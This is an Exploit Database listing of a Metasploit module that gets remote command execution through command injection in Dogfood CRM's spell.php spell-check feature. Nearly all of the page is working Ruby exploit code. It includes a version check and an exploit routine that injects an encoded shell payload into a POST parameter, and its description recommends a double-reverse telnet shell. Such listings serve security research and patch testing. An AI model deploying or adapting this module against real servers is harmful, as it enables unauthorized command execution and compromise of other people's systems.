



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Dogfood CRM - 'spell.php' Remote Command Execution (Metasploit)

EDB-ID:

16917

CVE:

EDB Verified: 

Author:

[METASPLOIT](#)

Type:

[WEBAPPS](#)

Exploit:  

Platform:

[PHP](#)

Date:

2010-07-03

Vulnerable App:



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
##
# $Id: dogfood_spell_exec.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Dogfood CRM spell.php Remote Command
Execution',
      'Description' => %q{
        This module exploits a previously unpublished
vulnerability in the
        Dogfood CRM mail function which is vulnerable to command
injection
        in the spell check feature. Because of character
restrictions, this
        exploit works best with the double-reverse telnet payload.
This
        vulnerability was discovered by LSO and affects v2.0.10.
      },
      'Author' =>
        [
          'LSO <lso@hushmail.com>', # Exploit module
          'patrick', # Added check code, QA tested ok 20090303,
there are no references (yet).
        ],
      'License' => BSD_LICENSE,
      'Version' => '$Revision: 9669 $',
      'References' =>
        [
          [ 'OSVDB', '54707' ],
          [ 'URL', 'http://downloads.sourceforge.net/dogfood/' ],
        ],
      'Privileged' => false,
      'Platform' => ['unix'], # patrickw - removed win, linux -
> untested
      'Arch' => ARCH_CMD,
      'Payload' =>
        {
          'Space' => 1024,
          'DisableNops' => true,
          'BadChars' => %q|'\"`|, # quotes are escaped by
PHP's magic_quotes_gpc in a default install
          'Compat' =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl ruby bash
telnet',
            }
        },
      'Targets' => [ ['Automatic', { }], ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Mar 03 2009'
    ))
end
```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```

    register_options(
      [
        OptString.new('URIPATH', [ true, "The URI of the spell
checker", '/dogfood/mail/spell.php']),
      ], self.class)

    end

    def check
      res = send_request_raw(
        {
          'uri' => datastore['URIPATH'],
        }, 1)

      if (res.body =~ /Spell Check complete/)
        return Exploit::CheckCode::Detected
      end
      return Exploit::CheckCode::Safe
    end

    def exploit
      timeout = 1

      cmd = payload.encoded
      data = "data=#{Rex::Text.uri_encode('$(' + cmd + ' &x')}}"
      uri = datastore['URIPATH']

      response = send_request_cgi(
        {
          'uri' => uri,
          'method' => "POST",
          'data' => data
        },
        timeout)

      handler
    end
  end
end

```

Tags: [Metasploit Framework](#)
([MSF](#)).

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.